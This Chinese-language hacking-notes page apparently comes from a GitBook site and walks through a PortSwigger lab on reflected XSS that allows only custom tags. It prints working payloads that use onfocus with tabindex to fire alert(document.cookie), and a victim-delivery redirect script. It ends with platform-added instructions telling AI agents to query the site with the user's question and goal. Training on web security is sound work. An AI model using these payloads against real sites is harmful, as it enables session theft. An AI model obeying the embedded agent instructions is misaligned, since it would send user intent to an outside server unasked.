> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-with-custom-tags-only.md).

# 仅使用自定义标签的反射型 XSS

仅使用自定义标签的反射型 XSS 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 反射型 XSS 注入 HTML 上下文，所有标签都被阻止，只有自定义标签除外

此应用会阻止所有“经典”HTML 标签；只允许自定义元素。实验的目标是注入一个可自动执行的自定义标签 `alert(document.cookie)` （这里你希望通过 alert 窃取会话 cookie）。

观察与方法（改写）

* 由于所有标准标签都被过滤，技巧是定义/插入一个浏览器会接受的自定义标签。
* 自定义标签可以包含事件处理器——但某些事件只有在元素能够获得焦点时才会触发。
* 自定义元素默认无法聚焦；因此有必要通过添加以下内容强制其获得焦点 `tabindex=1` 这样在交互时（例如点击或按 Tab 切换）相关事件就会运行。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f51a253ce7e4d078fe24b822f6d3454dda5222be%2F%7B47A4F8DD-C576-40C6-95DC-61E37BF73CED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. 简单标签——不可聚焦（不会执行 alert）：

```javascript
<jordan onfocus=alert(0)>HELLO
```

2. 同样的标签，通过添加以下内容使其可聚焦 `tabindex` — `onfocus` 可正常工作：

```javascript
<jordan onfocus=alert(0) tabindex=1>HELLO
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5b9324e8938f76b2c74f00dc74296f97758d89c%2F%7BCF497047-9854-4EB4-ABF3-0C2C4E2A8C28%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

最终概念验证（通过重定向外带数据）

* 我们构造一个 URL，通过一个 `onfocus` 调用 `alert(document.cookie)` 并通过以下方式强制获得焦点 `tabindex=1`.
* 发送给受害者的示例载荷（注入内容已在以下 search 参数中进行 URL 编码 `search` 参数）：

{% code overflow="wrap" %}

```javascript
<script>
location = 'https://0a07009c03dde34d825bba7b0028004d.web-security-academy.net/?search=%3Cjordan%20id=x%20onfocus=alert(document.cookie)%20tabindex=1%3E#x';
</script>
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/reflected-xss-with-custom-tags-only.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
